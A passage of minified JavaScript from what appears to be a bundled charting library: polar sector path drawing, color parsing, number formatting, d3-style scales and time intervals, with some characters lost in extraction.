Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function z1(e){for(var t=1;te*180/Math.PI,dt=(e,t,n,r)=>({x:e+Math.cos(-Nu*r)*n,y:t+Math.sin(-Nu*r)*n}),$k=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:{top:0,right:0,bottom:0,left:0};return Math.min(Math.abs(t-(r.left||0)-(r.right||0)),Math.abs(n-(r.top||0)-(r.bottom||0)))/2},N8=(e,t)=>{var{x:n,y:r}=e,{x:i,y:s}=t;return Math.sqrt((n-i)**2+(r-s)**2)},k8=(e,t)=>{var{x:n,y:r}=e,{cx:i,cy:s}=t,o=N8({x:n,y:r},{x:i,y:s});if(o<=0)return{radius:o,angle:0};var l=(n-i)/o,c=Math.acos(l);return r>s&&(c=2*Math.PI-c),{radius:o,angle:j8(c),angleInRadian:c}},z8=e=>{var{startAngle:t,endAngle:n}=e,r=Math.floor(t/360),i=Math.floor(n/360),s=Math.min(r,i);return{startAngle:t-s*360,endAngle:n-s*360}},S8=(e,t)=>{var{startAngle:n,endAngle:r}=t,i=Math.floor(n/360),s=Math.floor(r/360),o=Math.min(i,s);return e+o*360},C8=(e,t)=>{var{chartX:n,chartY:r}=e,{radius:i,angle:s}=k8({x:n,y:r},t),{innerRadius:o,outerRadius:l}=t;if(il||i===0)return null;var{startAngle:c,endAngle:u}=z8(t),d=s,f;if(c<=u){for(;d>u;)d-=360;for(;d=c&&d<=u}else{for(;d>c;)d-=360;for(;d=u&&d<=c}return f?z1(z1({},t),{},{radius:i,angle:S8(d,t)}):null};function Bk(e){var{cx:t,cy:n,radius:r,startAngle:i,endAngle:s}=e,o=dt(t,n,r,i),l=dt(t,n,r,s);return{points:[o,l],cx:t,cy:n,radius:r,startAngle:i,endAngle:s}}var S1,C1,P1,E1,_1,A1,O1;function ch(){return ch=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var n=Gt(t-e),r=Math.min(Math.abs(t-e),359.999);return n*r},Gl=e=>{var{cx:t,cy:n,radius:r,angle:i,sign:s,isExternal:o,cornerRadius:l,cornerIsExternal:c}=e,u=l*(o?1:-1)+r,d=Math.asin(l/u)/Nu,f=c?i:i+s*d,p=dt(t,n,u,f),h=dt(t,n,r,f),x=c?i-s*d:i,g=dt(t,n,u*Math.cos(d*Nu),x);return{center:p,circleTangency:h,lineTangency:g,theta:d}},Fk=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:s,endAngle:o}=e,l=P8(s,o),c=s+l,u=dt(t,n,i,s),d=dt(t,n,i,c),f=tt(S1||(S1=qi(["M ",",",` + A `,",",`,0, + `,",",`, + `,",",` + `])),u.x,u.y,i,i,+(Math.abs(l)>180),+(s>c),d.x,d.y);if(r>0){var p=dt(t,n,r,s),h=dt(t,n,r,c);f+=tt(C1||(C1=qi(["L ",",",` + A `,",",`,0, + `,",",`, + `,","," Z"])),h.x,h.y,r,r,+(Math.abs(l)>180),+(s<=c),p.x,p.y)}else f+=tt(P1||(P1=qi(["L ",","," Z"])),t,n);return f},E8=e=>{var{cx:t,cy:n,innerRadius:r,outerRadius:i,cornerRadius:s,forceCornerRadius:o,cornerIsExternal:l,startAngle:c,endAngle:u}=e,d=Gt(u-c),{circleTangency:f,lineTangency:p,theta:h}=Gl({cx:t,cy:n,radius:i,angle:c,sign:d,cornerRadius:s,cornerIsExternal:l}),{circleTangency:x,lineTangency:g,theta:y}=Gl({cx:t,cy:n,radius:i,angle:u,sign:-d,cornerRadius:s,cornerIsExternal:l}),v=l?Math.abs(c-u):Math.abs(c-u)-h-y;if(v<0)return o?tt(E1||(E1=qi(["M ",",",` + a`,",",",0,0,1,",`,0 + a`,",",",0,0,1,",`,0 + `])),p.x,p.y,s,s,s*2,s,s,-s*2):Fk({cx:t,cy:n,innerRadius:r,outerRadius:i,startAngle:c,endAngle:u});var b=tt(_1||(_1=qi(["M ",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",",` + `])),p.x,p.y,s,s,+(d<0),f.x,f.y,i,i,+(v>180),+(d<0),x.x,x.y,s,s,+(d<0),g.x,g.y);if(r>0){var{circleTangency:w,lineTangency:j,theta:N}=Gl({cx:t,cy:n,radius:r,angle:c,sign:d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),{circleTangency:k,lineTangency:z,theta:S}=Gl({cx:t,cy:n,radius:r,angle:u,sign:-d,isExternal:!0,cornerRadius:s,cornerIsExternal:l}),A=l?Math.abs(c-u):Math.abs(c-u)-N-S;if(A<0&&s===0)return"".concat(b,"L").concat(t,",").concat(n,"Z");b+=tt(A1||(A1=qi(["L",",",` + A`,",",",0,0,",",",",",` + A`,",",",0,",",",",",",",` + A`,",",",0,0,",",",",","Z"])),z.x,z.y,s,s,+(d<0),k.x,k.y,r,r,+(A>180),+(d>0),w.x,w.y,s,s,+(d<0),j.x,j.y)}else b+=tt(O1||(O1=qi(["L",",","Z"])),t,n);return b},_8={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},Wk=e=>{var t=gn(e,_8),{cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:o,forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d,className:f}=t;if(s0&&Math.abs(u-d)<360?g=E8({cx:n,cy:r,innerRadius:i,outerRadius:s,cornerRadius:Math.min(x,h/2),forceCornerRadius:l,cornerIsExternal:c,startAngle:u,endAngle:d}):g=Fk({cx:n,cy:r,innerRadius:i,outerRadius:s,startAngle:u,endAngle:d}),m.createElement("path",ch({},Ut(t),{className:p,d:g}))};function A8(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(oN(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:s,outerRadius:o,angle:l}=t,c=dt(r,i,s,l),u=dt(r,i,o,l);return[{x:c.x,y:c.y},{x:u.x,y:u.y}]}return Bk(t)}}var Uk={},Vk={},Hk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Hx;function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Hk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Hk;function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Vk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Kx,n=Vk;function r(i,s,o){o&&typeof o!="number"&&t.isIterateeCall(i,s,o)&&(s=o=void 0),i=n.toFinite(i),s===void 0?(s=i,i=0):s=n.toFinite(s),o=o===void 0?it?1:e>=t?0:NaN}function T8(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function r0(e){let t,n,r;e.length!==2?(t=wi,n=(l,c)=>wi(e(l),c),r=(l,c)=>e(l)-c):(t=e===wi||e===T8?e:M8,n=e,r=e);function i(l,c,u=0,d=l.length){if(u>>1;n(l[f],c)<0?u=f+1:d=f}while(u>>1;n(l[f],c)<=0?u=f+1:d=f}while(uu&&r(l[f-1],c)>-r(l[f],c)?f-1:f}return{left:i,center:o,right:s}}function M8(){return 0}function Yk(e){return e===null?NaN:+e}function*L8(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const I8=r0(wi),dl=I8.right;r0(Yk).center;class T1 extends Map{constructor(t,n=$8){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(M1(this,t))}has(t){return super.has(M1(this,t))}set(t,n){return super.set(D8(this,t),n)}delete(t){return super.delete(R8(this,t))}}function M1({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function D8({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function R8({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function $8(e){return e!==null&&typeof e=="object"?e.valueOf():e}function B8(e=wi){if(e===wi)return qk;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function qk(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const F8=Math.sqrt(50),W8=Math.sqrt(10),U8=Math.sqrt(2);function ku(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),s=r/Math.pow(10,i),o=s>=F8?10:s>=W8?5:s>=U8?2:1;let l,c,u;return i<0?(u=Math.pow(10,-i)/o,l=Math.round(e*u),c=Math.round(t*u),l/ut&&--c,u=-u):(u=Math.pow(10,i)*o,l=Math.round(e/u),c=Math.round(t/u),l*ut&&--c),c0))return[];if(e===t)return[e];const r=t=i))return[];const l=s-i+1,c=new Array(l);if(r)if(o<0)for(let u=0;u=r)&&(n=r);return n}function I1(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function Gk(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?qk:B8(i);r>n;){if(r-n>600){const c=r-n+1,u=t-n+1,d=Math.log(c),f=.5*Math.exp(2*d/3),p=.5*Math.sqrt(d*f*(c-f)/c)*(u-c/2<0?-1:1),h=Math.max(n,Math.floor(t-u*f/c+p)),x=Math.min(r,Math.floor(t+(c-u)*f/c+p));Gk(e,t,h,x,i)}const s=e[t];let o=n,l=r;for(Vs(e,n,t),i(e[r],s)>0&&Vs(e,n,r);o0;)--l}i(e[n],s)===0?Vs(e,n,l):(++l,Vs(e,l,r)),l<=t&&(n=l+1),t<=l&&(r=l-1)}return e}function Vs(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function V8(e,t,n){if(e=Float64Array.from(L8(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return I1(e);if(t>=1)return L1(e);var r,i=(r-1)*t,s=Math.floor(i),o=L1(Gk(e,s).subarray(0,s+1)),l=I1(e.subarray(s+1));return o+(l-o)*(i-s)}}function H8(e,t,n=Yk){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,s=Math.floor(i),o=+n(e[s],s,e),l=+n(e[s+1],s+1,e);return o+(l-o)*(i-s)}}function K8(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,s=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?Xl(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?Xl(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=G8.exec(e))?new Xt(t[1],t[2],t[3],1):(t=X8.exec(e))?new Xt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=Z8.exec(e))?Xl(t[1],t[2],t[3],t[4]):(t=Q8.exec(e))?Xl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=J8.exec(e))?U1(t[1],t[2]/100,t[3]/100,1):(t=eL.exec(e))?U1(t[1],t[2]/100,t[3]/100,t[4]):D1.hasOwnProperty(e)?B1(D1[e]):e==="transparent"?new Xt(NaN,NaN,NaN,0):null}function B1(e){return new Xt(e>>16&255,e>>8&255,e&255,1)}function Xl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Xt(e,t,n,r)}function rL(e){return e instanceof fl||(e=qo(e)),e?(e=e.rgb(),new Xt(e.r,e.g,e.b,e.opacity)):new Xt}function ph(e,t,n,r){return arguments.length===1?rL(e):new Xt(e,t,n,r??1)}function Xt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}s0(Xt,ph,Zk(fl,{brighter(e){return e=e==null?zu:Math.pow(zu,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Ko:Math.pow(Ko,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Xt(ea(this.r),ea(this.g),ea(this.b),Su(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:F1,formatHex:F1,formatHex8:iL,formatRgb:W1,toString:W1}));function F1(){return`#${Gi(this.r)}${Gi(this.g)}${Gi(this.b)}`}function iL(){return`#${Gi(this.r)}${Gi(this.g)}${Gi(this.b)}${Gi((isNaN(this.opacity)?1:this.opacity)*255)}`}function W1(){const e=Su(this.opacity);return`${e===1?"rgb(":"rgba("}${ea(this.r)}, ${ea(this.g)}, ${ea(this.b)}${e===1?")":`, ${e})`}`}function Su(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function ea(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Gi(e){return e=ea(e),(e<16?"0":"")+e.toString(16)}function U1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Hn(e,t,n,r)}function Qk(e){if(e instanceof Hn)return new Hn(e.h,e.s,e.l,e.opacity);if(e instanceof fl||(e=qo(e)),!e)return new Hn;if(e instanceof Hn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),s=Math.max(t,n,r),o=NaN,l=s-i,c=(s+i)/2;return l?(t===s?o=(n-r)/l+(n0&&c<1?0:o,new Hn(o,l,c,e.opacity)}function aL(e,t,n,r){return arguments.length===1?Qk(e):new Hn(e,t,n,r??1)}function Hn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}s0(Hn,aL,Zk(fl,{brighter(e){return e=e==null?zu:Math.pow(zu,e),new Hn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Ko:Math.pow(Ko,e),new Hn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Xt(pm(e>=240?e-240:e+120,i,r),pm(e,i,r),pm(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Hn(V1(this.h),Zl(this.s),Zl(this.l),Su(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=Su(this.opacity);return`${e===1?"hsl(":"hsla("}${V1(this.h)}, ${Zl(this.s)*100}%, ${Zl(this.l)*100}%${e===1?")":`, ${e})`}`}}));function V1(e){return e=(e||0)%360,e<0?e+360:e}function Zl(e){return Math.max(0,Math.min(1,e||0))}function pm(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const o0=e=>()=>e;function sL(e,t){return function(n){return e+n*t}}function oL(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function lL(e){return(e=+e)==1?Jk:function(t,n){return n-t?oL(t,n,e):o0(isNaN(t)?n:t)}}function Jk(e,t){var n=t-e;return n?sL(e,n):o0(isNaN(e)?t:e)}const H1=function e(t){var n=lL(t);function r(i,s){var o=n((i=ph(i)).r,(s=ph(s)).r),l=n(i.g,s.g),c=n(i.b,s.b),u=Jk(i.opacity,s.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function cL(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(s){for(i=0;in&&(s=t.slice(n,s),l[o]?l[o]+=s:l[++o]=s),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:Cu(r,i)})),n=hm.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function bL(e,t,n){var r=e[0],i=e[1],s=t[0],o=t[1];return i2?wL:bL,c=u=null,f}function f(p){return p==null||isNaN(p=+p)?s:(c||(c=l(e.map(r),t,n)))(r(o(p)))}return f.invert=function(p){return o(i((u||(u=l(t,e.map(r),Cu)))(p)))},f.domain=function(p){return arguments.length?(e=Array.from(p,Pu),d()):e.slice()},f.range=function(p){return arguments.length?(t=Array.from(p),d()):t.slice()},f.rangeRound=function(p){return t=Array.from(p),n=l0,d()},f.clamp=function(p){return arguments.length?(o=p?!0:Ft,d()):o!==Ft},f.interpolate=function(p){return arguments.length?(n=p,d()):n},f.unknown=function(p){return arguments.length?(s=p,f):s},function(p,h){return r=p,i=h,d()}}function c0(){return Gd()(Ft,Ft)}function jL(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function Eu(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function cs(e){return e=Eu(Math.abs(e)),e?e[1]:NaN}function NL(e,t){return function(n,r){for(var i=n.length,s=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),s.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return s.reverse().join(t)}}function kL(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var zL=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Go(e){if(!(t=zL.exec(e)))throw new Error("invalid format: "+e);var t;return new u0({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Go.prototype=u0.prototype;function u0(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}u0.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function SL(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var _u;function CL(e,t){var n=Eu(e,t);if(!n)return _u=void 0,e.toPrecision(t);var r=n[0],i=n[1],s=i-(_u=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return s===o?r:s>o?r+new Array(s-o+1).join("0"):s>0?r.slice(0,s)+"."+r.slice(s):"0."+new Array(1-s).join("0")+Eu(e,Math.max(0,t+s-1))[0]}function Y1(e,t){var n=Eu(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const q1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:jL,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>Y1(e*100,t),r:Y1,s:CL,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function G1(e){return e}var X1=Array.prototype.map,Z1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function PL(e){var t=e.grouping===void 0||e.thousands===void 0?G1:NL(X1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",s=e.numerals===void 0?G1:kL(X1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,p){f=Go(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,N=f.trim,k=f.type;k==="n"?(w=!0,k="g"):q1[k]||(j===void 0&&(j=12),N=!0,k="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var z=(p&&p.prefix!==void 0?p.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(k)?"0"+k.toLowerCase():""),S=(y==="$"?r:/[%p]/.test(k)?o:"")+(p&&p.suffix!==void 0?p.suffix:""),A=q1[k],_=/[defgprs%]/.test(k);j=j===void 0?6:/[gprs]/.test(k)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function O(P){var D=z,V=S,R,M,W;if(k==="c")V=A(P)+V,P="";else{P=+P;var $=P<0||1/P<0;if(P=isNaN(P)?c:A(Math.abs(P),j),N&&(P=SL(P)),$&&+P==0&&g!=="+"&&($=!1),D=($?g==="("?g:l:g==="-"||g==="("?"":g)+D,V=(k==="s"&&!isNaN(P)&&_u!==void 0?Z1[8+_u/3]:"")+V+($&&g==="("?")":""),_){for(R=-1,M=P.length;++RW||W>57){V=(W===46?i+P.slice(R+1):P.slice(R))+V,P=P.slice(0,R);break}}}w&&!v&&(P=t(P,1/0));var U=D.length+P.length+V.length,B=U>1)+D+P+V+B.slice(U);break;default:P=B+D+P+V;break}return s(P)}return O.toString=function(){return f+""},O}function d(f,p){var h=Math.max(-8,Math.min(8,Math.floor(cs(p)/3)))*3,x=Math.pow(10,-h),g=u((f=Go(f),f.type="f",f),{suffix:Z1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Ql,d0,e4;EL({thousands:",",grouping:[3],currency:["$",""]});function EL(e){return Ql=PL(e),d0=Ql.format,e4=Ql.formatPrefix,Ql}function _L(e){return Math.max(0,-cs(Math.abs(e)))}function AL(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(cs(t)/3)))*3-cs(Math.abs(e)))}function OL(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,cs(t)-cs(e))+1}function t4(e,t,n,r){var i=fh(e,t,n),s;switch(r=Go(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(s=AL(i,o))&&(r.precision=s),e4(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(s=OL(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=s-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(s=_L(i))&&(r.precision=s-(r.type==="%")*2);break}}return d0(r)}function Ai(e){var t=e.domain;return e.ticks=function(n){var r=t();return uh(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return t4(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,s=r.length-1,o=r[i],l=r[s],c,u,d=10;for(l0;){if(u=dh(o,l,n),u===c)return r[i]=o,r[s]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function n4(){var e=c0();return e.copy=function(){return ml(e,n4())},Mn.apply(e,arguments),Ai(e)}function r4(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,Pu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return r4(e).unknown(t)},e=arguments.length?Array.from(e,Pu):[0,1],Ai(n)}function i4(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],s=e[r],o;return sMath.pow(e,t)}function DL(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function eb(e){return(t,n)=>-e(-t,n)}function f0(e){const t=e(Q1,J1),n=t.domain;let r=10,i,s;function o(){return i=DL(r),s=IL(r),n()[0]<0?(i=eb(i),s=eb(s),e(TL,ML)):e(Q1,J1),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;p<=h;++p)for(x=1;xd)break;v.push(g)}}else for(;p<=h;++p)for(x=r-1;x>=1;--x)if(g=p>0?x/s(-p):x*s(p),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=Go(c)).precision==null&&(c.trim=!0),c=d0(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/s(Math.round(i(d)));return f*rn(i4(n(),{floor:l=>s(Math.floor(i(l))),ceil:l=>s(Math.ceil(i(l)))})),t}function a4(){const e=f0(Gd()).domain([1,10]);return e.copy=()=>ml(e,a4()).base(e.base()),Mn.apply(e,arguments),e}function tb(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function nb(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function m0(e){var t=1,n=e(tb(t),nb(t));return n.constant=function(r){return arguments.length?e(tb(t=+r),nb(t)):t},Ai(n)}function s4(){var e=m0(Gd());return e.copy=function(){return ml(e,s4()).constant(e.constant())},Mn.apply(e,arguments)}function rb(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function RL(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function $L(e){return e<0?-e*e:e*e}function p0(e){var t=e(Ft,Ft),n=1;function r(){return n===1?e(Ft,Ft):n===.5?e(RL,$L):e(rb(n),rb(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},Ai(t)}function h0(){var e=p0(Gd());return e.copy=function(){return ml(e,h0()).exponent(e.exponent())},Mn.apply(e,arguments),e}function BL(){return h0.apply(null,arguments).exponent(.5)}function ib(e){return Math.sign(e)*e*e}function FL(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function o4(){var e=c0(),t=[0,1],n=!1,r;function i(s){var o=FL(e(s));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(s){return e.invert(ib(s))},i.domain=function(s){return arguments.length?(e.domain(s),i):e.domain()},i.range=function(s){return arguments.length?(e.range((t=Array.from(s,Pu)).map(ib)),i):t.slice()},i.rangeRound=function(s){return i.range(s).round(!0)},i.round=function(s){return arguments.length?(n=!!s,i):n},i.clamp=function(s){return arguments.length?(e.clamp(s),i):e.clamp()},i.unknown=function(s){return arguments.length?(r=s,i):r},i.copy=function(){return o4(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Mn.apply(i,arguments),Ai(i)}function l4(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(s=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return c4().domain([e,t]).range(i).unknown(s)},Mn.apply(Ai(o),arguments)}function u4(){var e=[.5],t=[0,1],n,r=1;function i(s){return s!=null&&s<=s?t[dl(e,s,0,r)]:n}return i.domain=function(s){return arguments.length?(e=Array.from(s),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(s){return arguments.length?(t=Array.from(s),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(s){var o=t.indexOf(s);return[e[o-1],e[o]]},i.unknown=function(s){return arguments.length?(n=s,i):n},i.copy=function(){return u4().domain(e).range(t).unknown(n)},Mn.apply(i,arguments)}const xm=new Date,vm=new Date;function gt(e,t,n,r){function i(s){return e(s=arguments.length===0?new Date:new Date(+s)),s}return i.floor=s=>(e(s=new Date(+s)),s),i.ceil=s=>(e(s=new Date(s-1)),t(s,1),e(s),s),i.round=s=>{const o=i(s),l=i.ceil(s);return s-o(t(s=new Date(+s),o==null?1:Math.floor(o)),s),i.range=(s,o,l)=>{const c=[];if(s=i.ceil(s),l=l==null?1:Math.floor(l),!(s0))return c;let u;do c.push(u=new Date(+s)),t(s,l),e(s);while(ugt(o=>{if(o>=o)for(;e(o),!s(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!s(o););else for(;--l>=0;)for(;t(o,1),!s(o););}),n&&(i.count=(s,o)=>(xm.setTime(+s),vm.setTime(+o),e(xm),e(vm),Math.floor(n(xm,vm))),i.every=s=>(s=Math.floor(s),!isFinite(s)||!(s>0)?null:s>1?i.filter(r?o=>r(o)%s===0:o=>i.count(0,o)%s===0):i)),i}const Au=gt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);Au.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?gt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):Au);Au.range;const 